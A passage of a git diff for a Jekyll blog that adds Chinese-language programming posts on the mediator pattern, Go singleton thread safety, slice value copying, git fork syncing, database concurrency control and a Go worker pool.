之间的相互依赖关系。![中介者模式示例的结构](https://refactoringguru.cn/images/patterns/diagrams/mediator/example.png) + +用户触发的元素不会直接与其他元素交流, 即使看上去它们应该这样做。 相反, 元素只需让中介者知晓事件即可, 并能在发出通知时同时传递任何上下文信息。 + +本例中的中介者是整个认证对话框。 对话框知道具体元素应如何进行合作并促进它们的间接交流。 当接收到事件通知后, 对话框会确定负责处理事件的元素并据此重定向请求。 + +``` +// 中介者接口声明了一个能让组件将各种事件通知给中介者的方法。中介者可对这些事件做出响应并将执行工作传递给其他组件。 +interface Mediator is + method notify(sender: Component, event: string) + +// 具体中介者类要解开各组件之间相互交叉的连接关系并将其转移到中介者中。 +class AuthenticationDialog implements Mediator is + private field title: string + private field loginOrRegisterChkBx: Checkbox + private field loginUsername, loginPassword: Textbox + private field registrationUsername, registrationPassword, + registrationEmail: Textbox + private field okBtn, cancelBtn: Button + constructor AuthenticationDialog() is + // 创建所有组件对象并将当前中介者传递给其构造函数以建立连接。 + // 当组件中有事件发生时,它会通知中介者。中介者接收到通知后可自行处理也可将请求传递给另一个组件。 + method notify(sender, event) is + if (sender == loginOrRegisterChkBx and event == "check") + if (loginOrRegisterChkBx.checked) + title = "登录" + // 1. 显示登录表单组件。 + // 2. 隐藏注册表单组件。 + else + title = "注册" + // 1. 显示注册表单组件。 + // 2. 隐藏登录表单组件。 + + if (sender == okBtn && event == "click") + if (loginOrRegister.checked) + // 尝试找到使用登录信息的用户。 + if (!found) + // 在登录字段上方显示错误信息。 + else + // 1. 使用注册字段中的数据创建用户账号。 + // 2. 完成用户登录工作。 … + + class Component is + field dialog: Mediator + constructor Component(dialog) is + this.dialog = dialog + method click() is + dialog.notify(this, "click") + method keypress() is + dialog.notify(this, "keypress") + + // 具体组件之间无法进行交流。它们只有一个交流渠道,那就是向中介者发送通知。 +class Button extends Component is + // ... + +class Textbox extends Component is + // ... + +class Checkbox extends Component is + method check() is + dialog.notify(this, "check") + // ... + + +``` + +- 当一些对象和其他对象紧密耦合以致难以对其进行修改时, 可使用中介者模式。 + + 该模式让将对象间的所有关系抽取成为一个单独的类, 以使对于特定组件的修改工作独立于其他组件。 + +- 当组件因过于依赖其他组件而无法在不同应用中复用时,可使用中介者模式 + + 应用中介者模式后, 每个组件不再知晓其他组件的情况。 尽管这些组件无法直接交流, 但它们仍可通过中介者对象进行间接交流。 如果希望在不同应用中复用一个组件, 则需要为其提供一个新的中介者类。 + +- 如果为了能在不同情景下复用一些基本行为,导致需要被迫创建大量组件子类时,可使用中介者模式。 + +- 由于所有组件间关系都被包含在中介者中, 因此无需修改组件就能方便地新建中介者类以定义新的组件合作方式。 + +## 7.实现 + +1. 找到一组当前紧密耦合, 且提供其独立性能带来更大好处的类 (例如更易于维护或更方便复用)。 +2. 声明中介者接口并描述中介者和各种组件之间所需的交流接口。 在绝大多数情况下, 一个接收组件通知的方法就足够了。 +3. 如果希望在不同情景下复用组件类, 那么该接口将非常重要。 只要组件使用通用接口与其中介者合作, 就能将该组件与不同实现中的中介者进行连接。 +4. 实现具体中介者类。 该类可从自行保存其下所有组件的引用中受益。 +5. 可以更进一步, 让中介者负责组件对象的创建和销毁。 此后, 中介者可能会与工厂或外观模式类似。 +6. 组件必须保存对于中介者对象的引用。 该连接通常在组件的构造函数中建立, 该函数会将中介者对象作为参数传递。 +7. 修改组件代码, 使其可调用中介者的通知方法, 而非**其他组件**的方法。 然后将调用其他组件的代码抽取到中介者类中, 并在**中介者**接收到该组件通知时**执行**这些**代码**。(中介者执行调用其他组件代码的逻辑) + +. \ No newline at end of file diff --git a/_posts/2020-02-28-sample-markdown.md b/_posts/2020-02-28-sample-markdown.md deleted file mode 100644 index 6a59d6a14aac..000000000000 --- a/_posts/2020-02-28-sample-markdown.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -layout: post -title: Sample blog post to learn markdown tips -subtitle: There's lots to learn! -gh-repo: daattali/beautiful-jekyll -gh-badge: [star, fork, follow] -tags: [test] -comments: true -mathjax: true -author: Bill Smith ---- - -{: .box-success} -This is a demo post to show you how to write blog posts with markdown. I strongly encourage you to [take 5 minutes to learn how to write in markdown](https://markdowntutorial.com/) - it'll teach you how to transform regular text into bold/italics/tables/etc.
I also encourage you to look at the [code that created this post](https://raw.githubusercontent.com/daattali/beautiful-jekyll/master/_posts/2020-02-28-sample-markdown.md) to learn some more advanced tips about using markdown in Beautiful Jekyll. - -**Here is some bold text** - -## Here is a secondary heading - -[This is a link to a different site](https://deanattali.com/) and [this is a link to a section inside this page](#local-urls). - -Here's a table: - -| Number | Next number | Previous number | -| :------ |:--- | :--- | -| Five | Six | Four | -| Ten | Eleven | Nine | -| Seven | Eight | Six | -| Two | Three | One | - -You can use [MathJax](https://www.mathjax.org/) to write LaTeX expressions. For example: -When \\(a \ne 0\\), there are two solutions to \\(ax^2 + bx + c = 0\\) and they are $$x = {-b \pm \sqrt{b^2-4ac} \over 2a}.$$ - -How about a yummy crepe? - -![Crepe](https://beautifuljekyll.com/assets/img/crepe.jpg) - -It can also be centered! - -![Crepe](https://beautifuljekyll.com/assets/img/crepe.jpg){: .mx-auto.d-block :} - -Here's a code chunk: - -~~~ -var foo = function(x) { - return(x + 5); -} -foo(3) -~~~ - -And here is the same code with syntax highlighting: - -```javascript -var foo = function(x) { - return(x + 5); -} -foo(3) -``` - -And here is the same code yet again but with line numbers: - -{% highlight javascript linenos %} -var foo = function(x) { - return(x + 5); -} -foo(3) -{% endhighlight %} - -## Boxes -You can add notification, warning and error boxes like this: - -### Notification - -{: .box-note} -**Note:** This is a notification box. - -### Warning - -{: .box-warning} -**Warning:** This is a warning box. - -### Error - -{: .box-error} -**Error:** This is an error box. - -## Local URLs in project sites {#local-urls} - -When hosting a *project site* on GitHub Pages (for example, `https://USERNAME.github.io/MyProject`), URLs that begin with `/` and refer to local files may not work correctly due to how the root URL (`/`) is interpreted by GitHub Pages. You can read more about it [in the FAQ](https://beautifuljekyll.com/faq/#links-in-project-page). To demonstrate the issue, the following local image will be broken **if your site is a project site:** - -![Crepe](/assets/img/crepe.jpg) - -If the above image is broken, then you'll need to follow the instructions [in the FAQ](https://beautifuljekyll.com/faq/#links-in-project-page). Here is proof that it can be fixed: - -![Crepe]({{ '/assets/img/crepe.jpg' | relative_url }}) diff --git a/_posts/2020-02-28-test-markdown.md b/_posts/2020-02-28-test-markdown.md new file mode 100644 index 000000000000..0eaaaec97a6f --- /dev/null +++ b/_posts/2020-02-28-test-markdown.md @@ -0,0 +1,185 @@ +--- +layout: post +title: Go中单例模式的安全性 +subtitle: golang +tags: [设计模式] +comments: true +--- + +# 浅谈Go中单例模式的安全性 + +## 1.常见错误 + +不考虑线程安全的单例实现 + +```go +package singleton + +type singleton struct { +} + +var instance *singleton + +func GetInstance() *singleton { + if instance == nil { + instance = &singleton{} // <--- NOT THREAD SAFE + } + return instance +} +``` + +在上述场景中,多个 go 例程可以评估第一次检查,它们都将创建该`singleton`类型的实例并相互覆盖。无法保证这里会返回哪个实例,这不好的原因是,如果通过代码保留对单例实例的引用,则可能存在具有不同状态的类型的多个实例,从而产生潜在的不同代码行为。在调试时,由于运行时暂停,没有什么真正出现错误,最大限度地减少了非线程安全执行的可能性,很容易隐藏开发的问题。 + +## 2.Aggressive Locking + +### 激进的锁定 + +```go +var mu Sync.Mutex + +func GetInstance() *singleton { + mu.Lock() // <--- Unnecessary locking if instance already created + defer mu.Unlock() + + if instance == nil { + instance = &singleton{} + } + return instance +} +``` + +实际上,这解决了线程安全问题,但会产生其他潜在的严重问题。我们通过`Sync.Mutex`在创建单例实例之前引入并获取锁来解决线程安全问题。问题是在这里我们执行了过多的锁定,即使我们不需要这样做,**如果实例已经创建并且我们应该简单地返回缓存的单例实例。** 高度并发的代码库上,这可能会产生瓶颈,因为一次只有一个 go 例程可以获取单例实例。 + +- **当某个函数,执行的功能,第一次创建一个单例,之后要做的仅仅是返回这个单例时,如果为单例的第一次创建加了锁,这么做是为了保证,第一次全局我们只能获取到一个单例,但是,之后的每一次调用,我们的函数要做的仅仅是返回这个单例,而加锁,导致的后果是每次只有一个进程可以获取到已经存在的单例,如果这种获取是百万并发级别的,那么后果是不堪设想的。** + +## 3.Check-Lock-Check Pattern + +```go +if check() { + lock() { + if check() { + // perform your lock-safe code here + } + } +} +``` + +在 C++ 和其他语言中,确保最小锁定并且仍然是线程安全的最好和最安全的方法是在获取锁时使用称为 Check-Lock-Check 的众所周知的模式。这种模式背后的想法是,需要先进行检查,以尽量减少任何**激进的锁定**,(开销非常大的锁定)因为 **IF 语句比锁定更便宜**。其次,我们希望等待并获取排他锁,因此一次只有一个执行在该块内。但是在第一次检查和获得排他锁之前,可能有另一个线程确实获得了锁,因此我们需要再次检查锁内部以避免用另一个实例替换实例。 + +如果我们将这种模式应用到我们的`GetInstance()`方法中,我们将得到如下内容: + +``` +func GetInstance() *singleton { + if instance == nil { // <-- Not yet perfect. since it's not fully atomic + mu.Lock() + defer mu.Unlock() + + if instance == nil { + instance = &singleton{} + } + } + return instance +} +``` + +这是一种更好的方法,但仍然**不**完美。由于由于编译器优化,没有对实例存储状态进行原子检查。考虑到所有的技术因素,这仍然不是完美的。但它比最初的方法要好得多。但是使用该`sync/atomic`包,我们可以自动加载并设置一个标志,该标志将指示我们是否已初始化我们的实例。 + +``` +import "sync" +import "sync/atomic" + +var initialized uint32 +... + +func GetInstance() *singleton { + + if atomic.LoadUInt32(&initialized) == 1 { + return instance + } + + mu.Lock() + defer mu.Unlock() + + if initialized == 0 { + instance = &singleton{} + atomic.StoreUint32(&initialized, 1) + } + + return instance +} +``` + +## 4.Go 中惯用的单例方法 + +``` +// Once is an object that will perform exactly one action. +type Once struct { + m Mutex + done uint32 +} + +// Do calls the function f if and only if Do is being called for the +// first time for this instance of Once. In other words, given +// var once Once +// if once.Do(f) is called multiple times, only the first call will invoke f, +// even if f has a different value in each invocation. A new instance of +// Once is required for each function to execute. +// +// Do is intended for initialization that must be run exactly once. Since f +// is niladic, it may be necessary to use a function literal to capture the +// arguments to a function to be invoked by Do: +// config.once.Do(func() { config.init(filename) }) +// +// Because no call to Do returns until the one call to f returns, if f causes +// Do to be called, it will deadlock. +// +// If f panics, Do considers it to have returned; future calls of Do return +// without calling f. +// +func (o *Once) Do(f func()) { + if atomic.LoadUint32(&o.done) == 1 { // <-- Check + return + } + // Slow-path. + o.m.Lock() // <-- Lock + defer o.m.Unlock() + if o.done == 0 { // <-- Check + defer atomic.StoreUint32(&o.done, 1) + f() + } +} +``` + +这意味着我们可以利用很棒的 Go 同步包只调用一次方法。因此,我们可以这样调用该`once.Do()`方法: + +``` +once.Do(func() { + // perform safe initialization here +}) +//利用sync.Once类型来同步对 的访问,GetInstance()并确保我们的类型只被初始化一次。 +``` + +``` +package singleton + +import ( + "sync" +) + +type singleton struct { +} + +var instance *singleton +var once sync.Once + +func GetInstance() *singleton { + once.Do(func() { + instance = &singleton{} + }) + return instance +} +``` + +因此,使用`sync.Once`包是安全实现这一点的首选方式,类似于 Objective-C 和 Swift (Cocoa) 实现`dispatch_once`方法来执行类似的初始化。 + + diff --git a/_posts/2020-06-15-test-markdown.md b/_posts/2020-06-15-test-markdown.md new file mode 100644 index 000000000000..5dfcd7a43e72 --- /dev/null +++ b/_posts/2020-06-15-test-markdown.md @@ -0,0 +1,67 @@ +--- +layout: post +title: Go值拷贝的理解 +subtitle: In a function call, the function value and arguments are evaluated in the usual order. After they are evaluated, the parameters of the call are passed by value to the function and the called function begins execution. +tags: [golang] +--- +# Go值拷贝的理解 + +> In a function call, the function value and arguments are evaluated in the usual order. After they are evaluated, the parameters of the call are passed by value to the function and the called function begins execution. + +官方文档已经明确说明:Go里边函数传参只有值传递一种方式: 值传递 +那么为什么还会有有关Go的值拷贝的思考? + +``` +package main + +import ( + "fmt" +) + +func main() { + arr := [5]int{0, 1, 2, 3, 4} + s := arr[1:] + changeSlice(s) + fmt.Println(s) + fmt.Println(arr) +} + +func changeSlice(arr []int) { + for i := range arr { + arr[i] = 10 + } +} + + +Output: +[10 10 10 10] +[0 10 10 10 10] +``` + +如果Go是值拷贝的,那么我修改了函数 `changeSlice` 里面的`slice s` 的值,为什么main函数里面的`slice`和 `array`也被修改了![preview](https://segmentfault.com/img/remote/1460000020086648?w=1256&h=946/view) + +以上图为例,a 是初始变量,b 是引用变量(Go中并不存在),p 是指针变量,![img](https://segmentfault.com/img/remote/1460000020086649?w=896&h=498) + +在这里变量a被拷贝后,地址发生了变化,地址上存储的是原先地址存储的值 10 变量p被拷贝后,地址发生了变化,地址上存储的还是原先地址存储的值 )0X001, 然后按照这个地址去查找,找到的是 0X001 上面存储的值 + +所以,当去修改拷贝后的*p的值,其实修改的还是0X001地址上的值,而不是 拷贝后a的值 + +> 怎么理解呢?就是对于切片的底层数据而言,其中三个 要素。类型,容量,指针,指针是用来干嘛的,就是指向数组啊,所以说,不论怎么拷贝切片,切片的指针都是指向原来的数组,当修改切片的值时,其实是在修改数组的值!!!! + +**slice在实现的时候,其实是对array的映射,也就是说slice存对应的是原array的地址,就类似于p与a的关系,那么整个slice拷贝后,拷贝后的slice中存储的还是array的地址,去修改拷贝后的slice,其实跟修改slice,和原array是一样的** + +**上面这句话很很很重要,要记住的是: 1.切片是对数组的映射,相当于是数组a和指向a的指针 2.不论对切片的拷贝是什么样的?切片的底层数据的指针都是指向数组的。去修改切片的值就是修改数组的值。** + + + + + +#### 总结: + +> go 值的拷贝都是值拷贝,只是切片中储存的是原数组的地址,“切片是对数组的引用” 每得到的一个切片都是一个指向数组的指针,当企图修改切片的值,就是在修改数组的值。内在的逻辑是:一个切片就是一个指向数组的指针,通过切片去修改数组,然后在引用数组,自始至终,都是在引用数组,不存在切片里面存了所引用的数组的数据!!! + +![img](https://segmentfault.com/img/remote/1460000020086649?w=896&h=498) + +> Go的拷贝都是值拷贝,只是slice中存储的是原array的地址,所以在拷贝的时候,其实是把地址拷贝的新的slice,那么此时修改slice的时候,还是根据slice中存储的地址,找到要修改的内容 + + diff --git a/_posts/2021-02-28-test-markdown.md b/_posts/2021-02-28-test-markdown.md new file mode 100644 index 000000000000..00787806022a --- /dev/null +++ b/_posts/2021-02-28-test-markdown.md @@ -0,0 +1,105 @@ +--- +layout: post +title: 远程分支有更新,如何同步? +subtitle: +tags: [git] +--- + +## 首先同步远程的仓库和远程 fork 的仓库 + +在 github 上找到 fork 到自己主页的仓库,然后点击`Sync fork` + +## 其次本地仓库和自己主页的仓库 + +然后在本地切换到 master 分支后 + +```shell +git fetch --all +``` + +```shell +git reset --hard origin/master +``` + +```shell +git pull +``` + +Tips: +**git fetch 只是下载远程的库的内容,不做任何的合并** + +**git reset 把 HEAD 指向刚刚下载的最新的版本** + +## 第三就是同步本地仓库的其他分支和本地仓库的 master 分支 + +然后在本地切换到 master 分支后,(在记得切换到 master 分支后,先要在其他的分支保存自己的更改) +在 my-feature7 分支执行: + +```shell +git add . +``` + +在 my-feature7 分支执行: + +```shell +git commit -m"fix:" +``` + +```shell +git pull +``` + +然后在本地切换到想要更新的其他分支 + +```shell +git checkout my-feature7 +``` + +然后合并 + +```shell +git merge master +``` + +然后在 my-feature7 分支做出修改,提交到远程的 my-feature7 分支后提交 pr + +```shell +git add newfile.go +``` + +```shell +git commit -m"fix:555" +``` + +```shell +git push origin my-feature7 +``` + + +## 常见问题 + +当你在本地有更改,但是想丢弃所有的这些更改的时候: + +首先,需要处理当前分支(feat_shard_join)上的未暂存的更改。有几个选项: + +提交这些更改: +```shell +git add -A && git commit -m "你的提交信息" +``` +撤销这些更改: +```shell +git restore . +``` +确保所有的更改已处理后,你可以切换到 develop 分支: + +```shell +git checkout develop +``` +同步远程的 develop 分支更新到你的本地: + +```shell +git pull origin develop +``` +这样,你就成功切换到了 develop 分支并与远程仓库同步。请注意,在执行这些操作之前最好备份你的代码,以防意外发生。 + + diff --git a/_posts/2021-11-20-test-markdown.md b/_posts/2021-11-20-test-markdown.md new file mode 100644 index 000000000000..5d5cbbc215ac --- /dev/null +++ b/_posts/2021-11-20-test-markdown.md @@ -0,0 +1,88 @@ +--- +layout: post +title: 并发一致性问题 +subtitle: 在并发环境下,事务的隔离性很难保证,因此会出现很多并发一致性问题。 +tags: [数据库] +--- + +## 并发一致性问题 + +在并发环境下,事务的隔离性很难保证,因此会出现很多并发一致性问题。 + +### 丢失修改 + +丢失修改指一个事务的更新操作被另外一个事务的更新操作替换。一般在现实生活中常会遇到,例如:T1 和 T2 两个事务都对一个数据进行修改,T1 先修改并提交生效,T2 随后修改,T2 的修改覆盖了 T1 的修改。![img](https://camo.githubusercontent.com/43e0bcae7603de0e236f6e4c73ac4343c279d00a2dc8f144cadf368caabd565a/68747470733a2f2f63732d6e6f7465732d313235363130393739362e636f732e61702d6775616e677a686f752e6d7971636c6f75642e636f6d2f696d6167652d32303139313230373232313734343234342e706e67) + +> 丢失修改(Lost Update):假设有两个用户A和B同时对数据库中的某一数据进行修改,并且A先提交了修改,然后B也提交了修改,那么A的修改就会被B的修改覆盖,从而导致A的修改丢失。例如,A和B同时对某一商品的库存进行修改,A将库存从100减少到90并提交了修改,然后B也将库存从100减少到95并提交了修改,那么最终库存会变成95而不是90。 + + +### 读脏数据 + +读脏数据指在不同的事务下,当前事务可以读到另外事务未提交的数据。例如:T1 修改一个数据但未提交,T2 随后读取这个数据。如果 T1 撤销了这次修改,那么 T2 读取的数据是脏数据![img](https://camo.githubusercontent.com/153121db732e2d471cd447a0bead75acd302d68962b36ba391d607141a701654/68747470733a2f2f63732d6e6f7465732d313235363130393739362e636f732e61702d6775616e677a686f752e6d7971636c6f75642e636f6d2f696d6167652d32303139313230373232313932303336382e706e67) + +> 读脏数据(Dirty Read):假设有一个用户A对数据库中的某一数据进行修改,并且在修改过程中,另一个用户B对该数据进行了查询,那么B就可能会读到未提交的“脏数据”,从而导致数据的不一致性。例如,A对某一商品的价格进行修改,将价格从100元增加到120元,但是还没有提交修改,此时B查询该商品的价格时,发现价格已经变成了120元,但是实际上A的修改还没有提交,因此B读到了未提交的“脏数据”。 + + +### 不可重复读 + +不可重复读指在一个事务内多次读取同一数据集合。在这一事务还未结束前,另一事务也访问了该同一数据集合并做了修改,由于第二个事务的修改,第一次事务的两次读取的数据可能不一致。例如:T2 读取一个数据,T1 对该数据做了修改。如果 T2 再次读取这个数据,此时读取的结果和第一次读取的结果不同。 + +![img](https://camo.githubusercontent.com/718d52fc7785b8c4c6878b8218adcad1a8c66b8a05fc5a581226e7c9950db004/68747470733a2f2f63732d6e6f7465732d313235363130393739362e636f732e61702d6775616e677a686f752e6d7971636c6f75642e636f6d2f696d6167652d32303139313230373232323130323031302e706e67) + +产生并发不一致性问题的主要原因是破坏了事务的隔离性,解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。 + + +> 不可重复读(Non-repeatable Read):假设有一个用户A对数据库中的某一数据进行查询,并且在查询过程中,另一个用户B对该数据进行了修改,那么A再次查询该数据时就会发现数据与之前不一致。例如,A查询某一商品的价格为100元,然后B将该商品的价格修改为110元,并提交了修改,此时A再次查询该商品的价格时,发现价格已经变成了110元,与之前不一致。 + +### 解决该问题 + + +> 丢失修改:由于事务在修改数据R之前必须加上X锁,其他事务无法同时修改R,因此可以避免丢失修改的问题。 + +> 不可重复读:由于事务在读取数据R之前必须加上S锁,其他事务无法同时修改或删除R,因此可以避免不可重复读的问题 + +> 读脏数据:由于事务在读取数据R之前必须加上S锁,其他事务无法同时修改或删除R,因此可以避免读脏数据的问题。 + + +存在的问题:缺点是锁的粒度较大,可能会导致资源的浪费和性能的下降 + +## 两段封锁协议 + +两段封锁协议是一种并发控制方法,它要求事务必须分两个阶段对数据项进行加锁和解锁操作。这两个阶段分别是封锁阶段和解封锁阶段,具体如下: + +封锁阶段:在该阶段中,事务可以获得任何数据项上的任何类型的锁,但不能释放锁。在该阶段,事务需要先获得所有需要使用的锁,然后才能进行相应的操作,例如读取或修改数据。该阶段的目的是保证在事务对数据进行操作时,其他事务无法修改或删除数据,从而避免数据不一致的情况。 + +解封锁阶段:在该阶段中,事务可以释放任何数据项上的任何类型的锁,但不能申请新的锁。在该阶段,事务需要先释放所有不再需要使用的锁,然后才能提交事务或者回滚事务。该阶段的目的是释放事务在该阶段中,事务可以释放任何数据项上的任何类型的锁,但不能申请新的锁。在该阶段,事务需要先释放所有不再需要使用的锁,然后才能提交事务或者回滚事务。该阶段的目的是释放事务占用的资源,避免资源的浪费。 + + +## 死锁/活锁 + +活锁是指在并发访问的过程中,由于某些原因,事务一直处于等待状态,但是等待的条件不满足,导致事务无法继续执行。例如,在两个事务同时请求封锁同一条数据时,如果它们始终无法获取到该数据的封锁,就会导致活锁的情况发生。在活锁的情况下,事务一直在运行,但是无法完成任务,导致系统资源的浪费和性能的下降。 + +死锁是指在并发访问的过程中,由于多个事务之间相互等待对方持有的锁,导致多个事务都无法继续执行,从而形成了一个死循环。例如,如果事务A请求封锁数据R1后又请求封锁数据R2,而事务B则请求封锁数据R2后又请求封锁数据R1,这样就会导致事务A和事务B之间形成了一个死锁。在死锁的情况下,事务都无法继续执行,只能等待其他事务释放锁,从而导致系统的资源浪费和性能下降。 + + +> 封锁协议可以解决死锁的问题,封锁协议可以通过以下两种方式来避免死锁的情况: + +- 顺序加锁:在多个事务同时访问多个数据项时,按照固定的顺序对数据项进行加锁,从而避免不同事务之间加锁的顺序不一致,导致死锁的情况发生。 + +- 封锁超时:如果一个事务不能在规定的时间内获得所需的锁,就会取消该事务的请求,从而避免死锁的情况发生。在这种情况下,事务需要在等待锁的过程中,不断地检查是否超时,如果超时,则可以回滚事务,释放已经获得的锁。 + + +## 并发调度的可串行化 + +并发调度是指在多个事务同时访问共享资源的情况下,如何安排这些事务的执行顺序,以保证系统的正确性和性能。可串行性是并发调度的一个重要准则,它指的是多个事务的并发执行结果与某一次序串行地执行这些事务时的结果相同。 + +举个例子,假设有两个事务T1和T2,它们要同时访问数据R1和R2。如果这两个事务的执行顺序是T1访问R1,然后T2访问R2,最后T1访问R2,T2访问R1,那么这个调度是可串行化的,因为将这两个事务按照顺序串行地执行,也会得到相同的结果。如果这个调度不是可串行化的,例如T1和T2同时访问R1和R2,那么这个调度就是不正确的,因为它可能导致数据的错误或者不一致。 + +要实现可串行化的调度,需要采用一些并发控制方法,例如加锁、封锁协议、事务隔离级别等。其中,加锁是最基本的并发控制方法,并且可以有效地避免并发访问的冲突。封锁协议可以保证事务的一致性和可串行性,从而避免数据的不一致和错误。事务隔离级别可以控制事务之间的相互影响,从而保证事务的独立性和正确性。 + +### 实现并发调度的可串行化 + +加锁:采用锁机制来控制事务之间的访问顺序和互斥访问,从而保证事务的正确性和一致性。一般来说,加锁的粒度越小,锁的争用就越少,但是也会带来更多的锁开销。 + +封锁协议:通过规定事务加锁的顺序,避免出现事务之间的死锁和活锁的情况,从而保证事务的可串行性和正确性。封锁协议有很多种,如二段锁、多粒度锁等。 + +事务隔离级别:事务隔离级别可以控制事务之间的相互影响,从而保证事务的独立性和正确性。一般来说,事务隔离级别越高,事务之间的相互影响就越小,但是也会带来更多的性能开销。 + +MVCC(多版本并发控制):采用多版本的方式来控制并发访问,从而保证事务的可串行性和正确性。MVCC可以避免一些常见的并发问题,例如脏读、不可重复读和幻读等 \ No newline at end of file diff --git a/_posts/2021-12-30-test-markdown.md b/_posts/2021-12-30-test-markdown.md new file mode 100644 index 000000000000..fb11f6376c14 --- /dev/null +++ b/_posts/2021-12-30-test-markdown.md @@ -0,0 +1,254 @@ +--- +layout: post +title: 并发工作者池模式 +subtitle: 并不是要讨论并发,而是我们要实现一组作业如何让他并发的执行 +tags: [并发] +--- +# Go Concurrency Worker Pool PatternGo 并发工作者池模式![img](https://miro.medium.com/max/1400/1*Ya3fa36roBBhZlMl-kChXw.png) + +> 并不是要讨论并发,而是我们要实现一组作业如何让他并发的执行![当前显示WorkerPools](https://lh6.googleusercontent.com/qthujqtb_E83HSccmy0lCrRysXlaO6oX31R8gZ0WIgEdbbF8U6VHhpJ5AqRGrgKMPOxP1RXKyGfzuNXNgqLxWw=w1040-h1240-rw) + +## **WorkerPool 组件编排** + + + +### 1.**第一步** + +``` +// 创建了一个名为 的最小工作单元Job +type Job struct { + Descriptor JobDescriptor + ExecFn ExecutionFn + Args interface{} +} + +// ExecutionFn 是这个函数类型 func ( ctx context.Context, args interface{})(value ,error) +// 可以看到函数返回了一个value类型 和 error类型 +// 我们自己定义一个 Result 类型来存储Job的方法对应的信息 +和里面存储 Job.Descriptor 类型是JobDescriptor +// 还存储了 Job.ExecFn函数执行得到的错误的信息 +type Result struct{ + //Err字段来存储Job.ExecFn函数执行的结果中的Error + Err error + //Value字段来存储Job.ExecFn函数执行的结果中的value 类型 + Value value + //Descriptor字段来存储Job这个结构体自己带的Descriptor描述信息 + Descriptor JobDescriptor +} +//执行函数最简单的逻辑就是得到结果 +func (j Job) execute(ctx context.Context) Result { + value, err := j.ExecFn(ctx, j.Args) + if err != nil { + return Result{ + Err: err, + Descriptor: j.Descriptor, + } + } + + return Result{ + Value: value, + Descriptor: j.Descriptor, + } +} +``` + +### 2.第二步 + +``` +//我们要使用generator并发模式将所有Jobs 流式传输到WorkerPool. + +//说人话就是...... +//从某个客户端定义Job的 s 切片上生成一个流,将它们中的每一个推入一个通道,即Jobs 通道。这将用于同时馈送WorkerPool. +//所以客户端定义Job的 s 切片在哪里? +//忘了在前面加了... +//补充完毕之后完整的代码应该是下面这个样子 +//map[string]interface{} string 用来代表不同的客户端 (为了便于处理)具体客户端携带的东西可以是任何的东西 + +type jobMetadata map[string]interface{} +type Job struct { + Descriptor JobDescriptor + ExecFn ExecutionFn + Args interface{} +} + +type Result struct{ + //Err字段来存储Job.ExecFn函数执行的结果中的Error + Err error + //Value字段来存储Job.ExecFn函数执行的结果中的value 类型 + Value value + //Descriptor字段来存储Job这个结构体自己带的Descriptor描述信息 + Descriptor JobDescriptor +} + +func (j Job) execute(ctx context.Context) Result { + value, err := j.ExecFn(ctx, j.Args) + if err != nil { + return Result{ + Err: err, + Descriptor: j.Descriptor, + } + } + + return Result{ + Value: value, + Descriptor: j.Descriptor, + } +} + +``` + +``` +// 当然要写个函数喽,来把我们客户端的工作全部推入到 Jobs 通道 +// func GenerateFrom( jobsBulk []Job ) +// 这个函数应该是属于 Jobs 通道的 ,我们当然要抽象出来一个 Jobs 通道 +// WorkerPool 就是我们抽象出来的一个结构体 +// WorkerPool 里面有个字段 jobs +// WorkerPool.jobs应该是一个通道 +// 我们把我们的[]Job 切片依次放到这个通道里面 +// 然后关闭通道 +func (wp WorkerPool) GenerateFrom(jobsBulk []Job) { + for i, _ := range jobsBulk { + wp.jobs <- jobsBulk[i] + } + close(wp.jobs) +} + +// WorkerPool.jobs是一个缓冲通道(workers count capped的大小)WorkerPool.workersCount 这个 + +// 一旦它被填满,任何进一步的写入尝试都会阻塞当前的 goroutine +// 在这种情况下,流的生成器 goroutine 从 1 开始) +// 在任何时候,如果WorkerPool.jobs通道上存在任何内容,将被Worker函数消耗以供以后执行。通过这种方式,通道将为从前一点Job流出的新写入解除阻塞。generator +``` + +### 3.第三步**WorkerPool** + +``` +// workersCount 字段 +// jobs 字段 工人自己将负责在channel可用时从channel中获取Job +// 从 jobs channel中提取所有可用的作业后,WorkerPool 将通过关闭自己的 Done channel 和 Results channel来完成其执行。 +// results 字段 工人执行Job并将其Result存储到Result的channel +// 只要没有在 Context 上调用 cancel() 函数,Worker 就会执行前面提到的操作。 +// Done 字段 +// 否则,循环制动,WaitGroup 被标记为 Done()。这与“杀死工人”的想法非常相似。 +type WorkerPool struct{ + workersCount int + jobs chan Job + results chan Result + Done chan struct{} +} +//工人自己将负责在channe可用时从channe中获取Job + +func worker(ctx context.Context, wg *sync.WaitGroup, jobs <-chan Job, results chan<- Result) { + defer wg.Done() + for { + select { + case job, ok := <-jobs: + if !ok { + return + } + // fan-in job execution multiplexing results into the results channel + //执行多路复用结果到结果通道 + results <- job.execute(ctx) + case <-ctx.Done(): + fmt.Printf("cancelled worker. Error detail: %v\n", ctx.Err()) + results <- Result{ + Err: ctx.Err(), + } + return + } + } +} + +func New(wcount int) WorkerPool { + return WorkerPool{ + workersCount: wcount, + jobs: make(chan Job, wcount), + results: make(chan Result, wcount), + Done: make(chan struct{}), + } +} + + + +func (wp WorkerPool) Run(ctx context.Context) { + var wg sync.WaitGroup + + for i := 0; i < wp.workersCount; i++ { + wg.Add(1) + // fan out worker goroutines + //reading from jobs channel and + //pushing calcs into results channel + go worker(ctx, &wg, wp.jobs, wp.results) + } + + wg.Wait() + close(wp.Done) + close(wp.results) +} +``` + +### 4.第四步Results Channel + +如前所述,即使工作人员在不同的 goroutine 上运行,他们也会通过将它们多路复用到' 通道(AKA ***fanning-in\***`Job` )来发布' 执行。即使通道因上述任何原因关闭,客户端也可以从此源读取。`Result``Result``WorkerPool` + +### 5. Reading Results + +如前所述,即使工人在不同的 goroutine 上运行,他们通过将 Job 的执行结果多路复用到 Result 的通道(AKA fanning-in)来发布作业的执行结果。即使通道因上述任何原因关闭,WorkerPool 的客户端也可以从此源读取。 + +一旦关闭 WorkerPool 的 Done 通道返回并向前移动,for 循环就会中断。 + +``` +func TestWorkerPool(t *testing.T) { + wp := New(workerCount) + + ctx, cancel := context.WithCancel(context.TODO()) + defer cancel() + + go wp.GenerateFrom(testJobs()) + + go wp.Run(ctx) + + for { + select { + case r, ok := <-wp.Results(): + if !ok { + continue + } + + i, err := strconv.ParseInt(string(r.Descriptor.ID), 10, 64) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + val := r.Value.(int) + if val != int(i)*2 { + 